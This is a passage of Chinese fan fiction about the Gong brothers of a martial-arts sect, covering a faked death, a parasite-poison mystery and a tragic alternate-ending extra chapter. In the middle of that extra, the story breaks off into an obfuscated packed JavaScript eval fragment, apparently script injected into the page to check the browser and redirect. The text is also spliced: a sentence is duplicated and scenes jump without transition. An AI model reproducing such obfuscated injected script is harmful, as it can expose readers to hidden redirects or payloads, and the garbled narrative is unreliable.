“角公子这是要偷懒?” “上官姑娘饶了我吧,教孩子这种体力活,是我一个病人该干的么?” 上官浅失笑:“方才那些话,我还以为是从前的角公子回来了。但这一句,委实不像宫二先生能说出来的。” “——因为我本就不是什么宫二先生啊。” 金凝端了药过来,宫尚角颇为惆怅地盯着那一碗黑糊糊、苦涩涩的汤汁:“江湖人给的名头,索性还给江湖吧。对江湖人来说,宫尚角已该死了。” * 正月初三日,白帝城传出消息:宫门角宫宫主宫尚角病逝,享年三十有二。 37. 五十四 正月初九,玉皇诞。 从峡州夷陵城向南,沿官道而行可至南津关。其间有玉皇庙,依旧俗,每年上九日要在此设斋醮、办庙市,一时熙熙攘攘、络绎不绝。今年却是萧条,源是左近刚刚出过“异化伤人”的乱子,官府贴出榜文,告诫过路者绕行、城内百姓无事莫要出城。 “宫门的人手持火器,打在那些异化人身上便是碗大一个窟窿,不消片刻就再没一个动弹的了。宫远徵那小贼见事败露,撒了把毒粉脱身。宫门执刃顾念手足之情留他性命,没再动用火器,也不知后来追上没有。”玉皇庙东头茶铺,正有目击人绘声绘色描述着当时发生的事。 “看来这个宫子羽也不像传闻中那般无能。” “说不定早知宫远徵是奸细,这些年一直在隐忍。” “也是。宫尚角把持宫门多年,与宫远徵又是那般上不得台面的关系,亏得他如今死了,否则宫子羽这傀儡执刃……哎哟!” 那人话未说完,额角便接连挨了几下,定睛一看,才发现桌上多了三枚柑核。 有一人自茶棚内掀了帘子出来,手捏半颗蜜柑,面色不善地觑着他们:“再胡言乱语,小心我拔了你的舌头喂狗!” 说话三人皆是练家子,自然知道这吐核的功力绝非凡手,个个噤若寒蝉。那手戴红玉的玄衣刀客见是怂包,正准备轰他们离开,却见一队人马自南津渡口方向忽焉而至,路过之时,为首那名燕颔虎须的老者朝他们投来一瞥,随即马不停蹄地绝尘而去。 红玉侍顾不上一鼻子灰,连忙朝茶棚内传话:“公子,是雷家堡的人,看样子是往城里去了。” 一个清冷的年轻声音随即隔帘传出:“怎么提早了半日?宫子……是怎么办事的?” “有金繁在城里盯着,应该不碍的。”另一人声音略低,说起话来有气无力,“我倒是更担心岚角他们,侍卫都在夷陵,这一次,只能靠他们自己。” 方才说话三人面面相觑,直到此刻才知道茶棚之内另有旁人。 “这些年她姐弟二人一直跟着你,大大小小的事也处理过不少,况且还有云为衫在呢。你亲自选的人如今已是一宫之主,你还有什么不放心的?”帘内的小公子嘴快得似连珠炮,话却是越说越黏糊,“你与其担心他们,倒不如,倒不如担心担心我……” 少年者的声音低下去,茶棚一时静谧,尔后忽传出一声迟疑的低笑:“你这是……吃醋了?” “……那毒蜂没那么好骗,寒鸦贰阴魂不散,我好不容才甩脱。还有那些没头苍蝇一样的亡命徒,我若不下杀手,他们简直没完没了!”虽没有正面回答问题,话里话外却全是委屈。 红玉侍听到此处,知道有必要解释,于是撩起帘子转回棚内:“小公子明鉴,公子若不是担心这些,这一趟也不必亲自来了。” “本就是不该来!”对面却像是突然被点了炮仗,眉目一凛,怒气自舌尖喷薄而出,“才歇了几日?他这身子哪里禁得住这般折腾?他如今做事没分寸,你们也没有?上官浅人呢?还说什么知恩图报,这女人嘴里果然一句实话都没有!” 年轻的公子指指点点,劈头盖脸地一通数落,挨了骂的红玉侍只得屏住呼吸,但他的主人,眉眼之间显然是在笑的。 “……你还笑!” 气急败坏的人涨红了脸,被“质问”的那个却笑得气息不逮,吓得旁边的红玉侍又是送水又是抚背,好不容易才稍稍平复些许:“……你这性子……往时……怎么会对他言听计从?” “我性子好得很,往时哥哥又不会这般胡来!”虚惊一场的小公子忿然撇下嘴角,“况且我这才哪到哪?以往若是哥哥板起脸来,你问问家里人谁不害怕!” “……我脾气很大么?……金凝?”那声音又微弱了几分,听不出是心虚,还是真实的迷惑。 “呃……这柑橘甜得很,我给公子剥两颗,顺顺气。”听他一席话,如听一席话。 角公子叹了口气,只好认真解释:“孩子太小,上官浅离不开。我去替你解决寒鸦贰,你只管做你该做的事。” 他说话间便已瞧出对方神色不对,伸手按了按那只正与茶杯较劲的掌骨,试图让它放松些:“有金凝在呢,放心……我只是不愿成为累赘。” 他手心里没有一丝温度,六九天已算不得太冷,但他身裹重裘,身体仍在微微打颤。宫远徵心疼地回握住他的手,湿漉漉的杏眼写满担忧:“不是把你当作累赘,是再不想你出事了……我说过要保护你的!” “那就尽快了结此事!破解毒蛊,除掉始作俑者,我才能安心养病,不是么?”宫尚角任凭对方抓着,话语之中却是不疑有他的坚决。 金凝也在其后郑重其事地点点头:“不会让公子涉险的,小公子安心。” “官道人多眼杂,我先行一步。后续消息都可发来茶铺,我收的到。”骤然起身令宫尚角面上一阵惨白,幸亏借了宫远徵手臂的力量才堪堪站稳。 徵公子神情复杂地盯着两人依旧难舍难分的指节,忽然间灵光一闪地喊了声:“哥。” 宫尚角霎时顿住。 片刻后,他笑着偏过头:“还以为你不肯再这么叫了呢。” 宫远徵牵起嘴角,轻轻扯动哥哥消瘦的手腕,一串银铃自缂了金丝的袖袪滑出,被他摇得叮当作响——他给他的铃铛。 “有什么不肯?为什么不肯?这么多年,从来都不是我不肯!只是……哥呢?” 宫尚角半低下头,目光逡巡落向被自己系在腕间的铃串:“我不是,已经回答过了么?……” “他呢?他跟你的回答一样么?”冀望者不依不饶地追问。 “我……不知道。”病中人的嗓音有些喑哑低沉。 “那你替我问问他。” “好,我替你问问他。” 宫远徵松开两人交握的手,贪婪地拨弄着那串银铃,仿佛只要这样,就能马上得到哥哥的回应。然而十八岁这年的宫尚角无法回答十四年间留给他的难题,裘领间厚重的狐毛遮掩住他的一半面目,宫远徵仰头望去,倏然分辨不清他究竟是不愿逾樽越俎的尸祝,还是不肯迎刃接牛的庖丁。 ——是他多虑了吗?毕竟尸祝与庖丁,原本就是同一人而已。 宫尚角不再停留,道了声“万事小心”,掀帘步出茶棚,在金凝扶持下登上停在一辆通体淄黑的马车。 待马车行远,茶棚之外大气都不敢喘的三人才纷纷松了口气。 “是我眼花么?刚才上车那人,怎么那么像……”被柑核砸过的那人不长教训,率先开了口。 另一人似有同感地道出名字,旋即又连连摆手: “不对,不对!去年火器大会上我见过他,那可是连眼神都能杀人的主儿!可刚才那人……分明都要瘦脱了相!” “既是死人,能不脱相?”从头至尾一直在柜上打瞌睡的茶铺掌柜忽然咂了咂嘴,呓语般幽幽插了一句。 三人俱是一惊。 “莫不是……头七回魂了?” “对对对,宫尚角是初三死的,到今日刚好头七!” “我呸!别人头七都是回自家,就算是孤魂野鬼,哪有大白天出来吓人的道理!” 见三人马上便要猜出大概,刚才又将太多话听进耳去,掌柜蓦地站起身,眼中哪里还有半分睡意。他走近茶棚,简短而又规矩地行了一礼,问道:“徵公子,怎么处理?” 清冷的声音很快再度传出,已没了先时半点温情,只余冷峻和凌厉:“既然那么喜欢当长舌鬼,那就索性让他们当个够!” 于是当日夷陵城中传出了一桩怪闻,有三人赤裸上身站在大街中央,口中始终念念有词。驻足者细细听之,方知那三人念的是同一句话: “月蝇跗之,蠹蛊饲之,蚀而代之,死而生之。” 其时雷家堡大当家雷重昭刚好携门人路经此处,断定事无偶然,于是解开这句谶言,擒得异化之人剖开尸骨,乃见其五脏六腑皆成空腔,体内飞蝇肆虐,茧裹絮缠,蠹虫自颅腔颅中涌出。由是方知谶语为真,但回过头再去盘问长舌三人,欲知是谁勘破异化真相,那几位早已对当日之事一问三不知……此一干事按下不表。 * 当晚,宫子羽于夷陵城天兴楼置酒,宴请雷重昭及雷家精锐。 “城南茶铺是宫门的暗哨,那么这间酒楼莫非也是宫门产业?” “夷陵是峡江门户、川鄂咽喉,北至中原、东至吴越、南至岭表的商队都要经过此地,宫门自然要分一杯羹。这些都是角公子这十余年来一点点布局在此的。” 雅间内只有宫、雷两家的首领,宫子羽将话道 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“由不得老夫不信!”雷重昭一把将手中青盏掼在案上,“大赋城上官氏是我雷家姻亲,此次刚好有人同来,马上便认出这三人被喂了自家医典中不外传的秘方‘忘忧散’,却故意用差剂量,导致他们神魂颠倒,发了癔症。上官家医者仁术,不会做这种事,也不知这方子究竟是被谁盗了去!”雷重昭一把将手中青盏掼在案上,“大赋城上官氏是我雷家姻亲,此次刚好有人同来,马上便认出这三人被喂了自家医典中不外传的秘方‘忘忧散’,却故意用差剂量,导致他们神魂颠倒,发了癔症。上官家医者仁术,不会做这种事,也不知这方子究竟是被谁盗了去!” 宫子羽听得呛了酒,连连地咳嗽:“不知这三人……有无性命之虞?” “两个时辰后自行好了,除却将今日之事忘得干净,倒是没别的后遗症。”雷重昭说到此处,便又哼了一声,“下药之人手段下作,本事却是真的,他急于揭开此事,反倒说明此言不虚——所谓的异化之毒,竟又是蛊!” 宫子羽神色不动地点点头:“这蠹蛊以半月之蝇为食,蠹虫又可助月蝇繁殖。蝇蛊营营相生,蚕食人体,取而代之,见活物如见生食,这才状若死者复活、失智伤人,且力大无穷、不知疲累——我家月长老是这么说的。” “只有体内有半月之蝇的人才会中蛊?” “不。若无月蝇维系,蠹虫很快就会将人体内脏分食掏空。只是不会异化伤人罢了。” 那厢对答如流,雷大当家却听得面色愈沉:“看来宫门早对此事心知肚明,却直到此刻才肯说与老夫?” 宫子羽连忙又赔了杯酒:“也不是。先前尚角哥哥性命攸关,月长老心中虽有猜测,却不敢轻易透露。即便是我,也是近几日才得知。” “宫尚角是这样死的?” 宫子羽支吾了一阵,并未答话。 雷重昭见他这样,一捋虎须,目中顿时精光暴涨:“宫子羽!亏得我在江湖人前为你作保,你竟这样信不过老夫?眼下无锋未除,宫尚角尸骨未寒,你不在白帝城坐镇,偏偏将我雷家堡精锐邀到此处,究竟打的什么算盘?” 然而宫门的执刃瞪起牛眼来不遑多让,忽然起身走到门前与屋外的金繁做了个手势,然后迅速转回席间,不卑不亢地施了半礼:“还请雷大当家少座,楼下的雷家兄弟我们也会好生招待。等到另一边事情了结,子羽自会说清缘由。” 雷重昭神色剧变,抽出袖中兵器,声量忽焉翻了一番:“宫家小子,你太小瞧老夫了!同样的跟头不能栽两回,上次在你宫门吃了大亏,这一次,你当我雷家堡还能全无防备么!”他说罢不由分说转腕摔了酒盏,楼下也跟着传出些动静。 宫子羽随之也变了脸色,老者的声音震得他头皮发麻,雷家堡闻名天下的火器更令他忌惮,即便雷重昭并非自己的对手,楼内的宫门侍卫数倍于雷家门人,但一旦动起手来,这局势便无法收场——这当然不是他今日“请”来雷家这群人的目的。 可楼下的动静自此便没了声息,雷重昭又耐心等了片刻,这才难以置信地张了张口,一时竟未说出什么言语。 这时才有人破门,先是扔进来几口被卸了机括的火药暗器,而后是一个五花大绑的人,再然后宫门红玉侍金繁和金凝一左一右在门前现身,最后雷重昭才看见他们身后还站着一人。 “宫,宫尚角……?” 雷重昭僵在原地,忽又想起那三人说的“头七回魂”。 38. 番外四(IF线)[番外] 「壹」 早春未尽,崇山险峻之间的旧尘山谷还算不得暖。 宫尚角入门时携着一身料峭,令宫门的执刃莫名打了个寒颤。 “宫子羽,你这是什么意思?” 素笺划了个弧线,擦着鼻尖坠入襟怀,恰恰露出按着执刃印信的那一面。 宫子羽缩着脖子赔了个笑:“尚角哥哥……知道了?” 宫尚角冷眼觑他:“我还在这宫门呢!金陵钱庄的案子,本就是角宫分内事。怎么,你当我死了?” “不不不,没这意思!”宫子羽慌慌张张拉了宫尚角坐下,又忙不迭地起身去烹茶,“只是远徵弟弟也不小了,让他去江湖上历练历练,总归不是件坏事。” “角宫的线报你可看过?” “……看过。都看过。” “知道那边是什么局面?” “……知道。都知道。” “若是让你去,你有几成把握?” “……这个,三四成,总是有的……?” “那你还让远徵去!” 苍白的指节“咚”得敲在案上,宫子羽心里“咯噔”一下。 “——金陵的事远徵解决不了。我亲自去,这事没得商量!” . . 【贰】 早春未尽,崇山险峻之间的旧尘山谷还算不得暖。 宫远徵入门时携着一身料峭,令宫门的执刃莫名打了个寒颤。 “宫子羽,我要去金陵!” 宫子羽愣怔着压低手中毫素,一脸不可置信:“……什么?” “怎么?你年岁大了,耳朵也聋了?”宫远徵叉腰站在他面前,凝着一双水灵灵的杏眼,同少年时一般神气,“我说,我,要,去,金,陵!” 金复这时方追进门来,赶得上气不接下气,见宫子羽匆忙行了个礼,正欲解释,却被主家飞快地扬手一拦。 “远徵弟弟,一定要去?”宫子羽耐心压着声线。 “哥去得,我便去得——”徵公子挺直脊背,坚定得如同徵宫外宁折不弯的箭竹,“这一趟我非去不可,谁也别拦我!” 宫子羽仍悬着腕,白毫上的墨汁跌落在素笺上,层层洇润成朽木上的年轮。 . . 「叁」 沸煮的小炉爆发出尖锐嘶鸣,宫子羽回了神,舀出七分满的茶汤来,端给那就着暖炉仍未脱去一身厚氅的人:“早间刚采的露水,多添了些橘皮和茱萸,喝一口,暖暖身子吧。” 宫尚角叹了口气,接过那只天青色的茶瓯。琥珀色的茶汤在他手中荡起涟漪,随即被另一只手托稳。 宫子羽把忧色写在脸上:“冬日里病成那样,这才刚刚好些……” 宫尚角就着茶瓯浅啜一口,皱了皱眉,似是不喜那味道:“知道你担心。好歹入了春,金陵比蜀中天暖,我还撑得住。” “尚角哥哥,一定要去?”宫子羽耐心压着声线。 “往日去得,今日便去得——”角公子挺直脊背,坚定得如同角宫院中傲雪长青的月桂,“走完这一趟,我就回来安心养病,再不出宫门了。” 宫子羽仍悬着腕,手心里掂着七分满的茶瓯,仿佛饮下的只是一捧空落落的浮谈。 . . 【肆】 惊蛰刚过,送走一阵春雷,金陵城外的紫金山忽得热闹起来。 赏梅的游人语笑喧阗,宫远徵被那洋溢恣睢的冷香勾了魂去,情不自禁地徜徉梅海,宫尚角便含笑立在枝前。 “冬天时总说,要同哥哥一道去赏扬州的琼花、洛阳的牡丹。如今才刚仲春,琼花、牡丹都还没影,侥幸赶上这波晚开的梅。” 宫尚角不说话,仍是瞬也不瞬地瞧他,唇角弯得轻浅,却融着春风里的酥暖。 这一路他们停停走走,将脚步放得很缓。宫远徵极少出宫门,自然看什么都新奇,见什么都喜欢。花火鱼龙,金灯银盏,每每忘情,哥哥便总是这般,若即若离地看着,脉脉垂怜地笑着。 “哥,你到底笑什么呢?”宫远徵歪过头,自梅枝后探出半颗脑袋。 宫尚角便笑着后退一步,一对漆染的墨瞳诉着千言万语,但双唇却似落了枷锁,顾盼而无言。 “公子,金陵钱庄的人到了。” 金复在身后提醒一句,自去与来人交涉。宫远徵这才正了衣冠神色,举步绕出梅林。 中年人看过宫门执刃手书,朝他们恭恭敬敬施了一礼,礼貌中略带诧异:“原来是为此事而来。” . . 「伍」 青年向宫尚角叙说内情,言罢,又深施一礼:“无论如何,还请宫二先生务必帮忙。在下代金陵钱庄几百余口,谢过先生大恩!” 宫尚角摇摇头,没有答话。 青年见宫尚角面色不豫,以为他不应,便端起酒盏来,半是恳请半是威胁:“我知宫门刚刚歼灭无锋,为造火器定然消耗甚巨,今岁若有金陵钱庄为盟,生意自然无忧。否则……想要截断宫门在江南、荆楚商路,对我金陵钱庄而言,也算不得难!” 宫尚角目中精光一轮,接过酒盏,痛快饮下:“我只希望,金陵钱庄说到做到。” 而后他起身离席,未出得门去便呕出一大口血来。胃中是空的,只有那盏酒还新,席间珍馐百味,他却是连动箸的气力也匀不出半分。 宫尚角倒下去时金复在哭,他哭着说:“公子,你死了我们可怎么办!” . . 【陆】 “我们当时并不知晓宫二先生的身体已然不好,但宫二先生仍做了答应之事,为金陵钱庄破了此案,除去大患。此后,宫二先生便是我金陵钱庄上上下下的大恩人!”这故事并不长,中年人简略道完,便又奇怪地问,“说来都是故事了,怎么隔了这许久又来问?” “故事?” 宫远徵被他说得一愣,骤然记起他们此来金陵,不正是为解决此事而来,怎么到了这人口中,倒像是成了某桩陈年旧案?还有,哥哥吐血这事他怎么一点都不知情?哥哥硬撑着也就罢了,金复这素来口无遮拦的竟提也不与他提! 徵公子胸中搅着怒火,转过头去,正欲翻这笔“旧账”,却发现他身后除了灰溜溜的金复,全无哥哥半点踪影。 “金复,我哥呢?”宫远徵左顾右盼,但四处哪里也寻不见人。 “先生这是……找谁呢?”中年人有些摸不着头脑。 宫远徵忽得便急红了眼睛,就连一向清越动人的嗓音也跟着发颤:“我哥呀!他明明刚刚还在这里……怎么,怎么一晃眼就没了呢?……” 那失魂落魄的身影开始来来回回地打转,喃喃地念同一句话:“……他明明刚刚还在这里,刚刚还在这里……他明明就在这里……怎么,一晃眼就没了呢……” 方才还是封胡遏末、昆山片玉一般的人物,眨眼之间却像是被硬生生折断脊梁的竹节。春风不恤,竹箫声断,飞舞的梅瓣漫天袭来,他像是被陷在雪中、生生白头的失路者,是被困入梦魇、不得解脱的迷途人,瞧着让人生怜生悲。 眼见金复递来求助的眼神,中年人叹息一声,轻轻地和了一句:“是啊,怎么一晃眼,人便没了呢……” . . 【柒】 自那日始,宫远徵发了疯似地寻宫尚角。 紫金山上没有,便去凤凰台,乌衣巷口没有,便去孙楚楼。他撑着蒿游遍秦淮万瓦,擎着伞踏遍鸡笼楼台,直至杨花落尽,江草如茵,台城柳下生出一丛牡丹、一株琼花。 他是宫门的毒药天才,一向最熟知草木,琼花之莹泽,有赖娇养,牡丹之冠绝,从不委身。他们偶逢于同一时序,幸沐过十载春风,却终究失之交臂,从此憾不同迹、再难重逢…… 护花的老妪见他发怔,絮絮叨叨说起昔时恩人从人牙子手中买下她,赠了她一笔泼天财赀,托她在此照料花树。她问恩人,台城外人丁萧条,种这花树给谁瞧呢?世易时移,她早已记不清恩人相貌,只记得他冷眉幽目,但说到总会有人来时,笑弯了眼角唇梢。 眼前仿佛又浮着那莫须有的背影,脊梁挺拔,如同长青的月桂、傲雪的霜梅。宫远徵发了疯似得追着那道影子,金复便气喘吁吁地追着他。 待到终于赶上,金复喘着粗气,到底吐露出半心怨懑:“徵公子,您也年纪不小了,我年纪也不小了。再这么跑下去,何时才是个头啊!……” 宫远徵呆挣着问他什么意思,金复却摸了一把额上冷汗,硬生生咽下后半截话,只说:“公子交代过,您想去哪,我就陪您去哪——您疯,我陪着您发疯就是了!” . . * 捌 * 宫远徵终于又在那梅林之中寻到哥哥,那道挺拔的脊梁,生得如同一枝傲雪欺霜的梅花。 春风不恤,洞箫悲悯,他宛若大雪中一夜白头的失路者,忐忑地扣响一道寂静无声的柴扉。 宫尚角在梅瓣漫舞中回过头,不说话,仍是瞬也不瞬地瞧他,唇角弯得轻浅,融着心火酥暖,令人心痒难耐。 “哥哥……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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疾雨骤起,霍然汪洋。雨帘如瀑,不胜掌心一捧,便囫囵落入一道闳肆汹涌的渊薮——那是宫远徵在这场大战中的“功劳”,伤了一条手筋,送了两朵重莲,亲手斩了宫门两代切齿雠仇…… 痛失自己一生挚爱之人。 “只可怜那宫尚角,在与无锋屡次交战中伤了根本,心力交瘁,攒了一身的病痛。冬天没过几日,又不辞辛劳地外出奔波,破了金陵钱庄奇案,回程路上人便殁了……临了临了,却是连家里人最后一面也没能见上……” 横亘掌心的长疤传来椎心之痛,如沸汤沃雪,似天火劈雷。宫远徵攥着手心,分不清那如瀑般坠落的泪滴究竟是太烫还是太凉。犹记得消息传来时他掀了羽宫的瓦,在长老院里大闹一场,至于往后浮生,万把时日,他却是连半点印象也不剩。 说话人叹息一声,桌案一抚,语调转悲,和上帘外渐缓的烟雨: “宫尚角死在三十年前仲春,死的时候,才三十二岁。” . . * 拾壹 * “你来了。” 宫尚角一身月白衣衫,挺着脊背,如同一枝傲雪欺霜的梅。他站在金陵春宵的风里,踏着江南雪夜的梅瓣。 春风不恤,春雪悲悯,幸是要人过留踪、雁过留痕。 “哥……你想我么?” 宫远徵痴痴地向前,他进一步,他便退一步。雪地里霎时生出一串脚印,只是向前、向前,一味的向前,直至鹤发苍苍的旅人再也走不动,脚下一个踉跄,将一铺春雪撞了满怀。 “哥……别离开我!” 宫尚角顿住脚步,若即若离地看着,脉脉垂怜地笑着。 “谢谢。”他又说了一次,冷眉幽目,弯着眼角唇梢。 春雪栗冽,砭人肌骨,宫远徵挣扎着爬起,伸出一只手去,够那莫须有的浮影。尔后那浮影接住了他,将他拥入一铺料峭春风。 于是他拥着浮影,拥着春风,拥着此世噬脐之憾,拥着一生挚爱之人,不解地问:“谢……什么呢?” “谢你那年来角宫认我。谢谢你,今夜来金陵寻我。” 疏磬和吟,大音希声,耳鬓厮磨,如沐春风。 “这一次……是真的再会了。” 他转身走向梅林尽头,没入一铺春雪,转瞬消失于料峭春风。 . . 【拾贰】 宫远徵死在这年仲春,从金陵回程的路上,死的那年,五十二岁。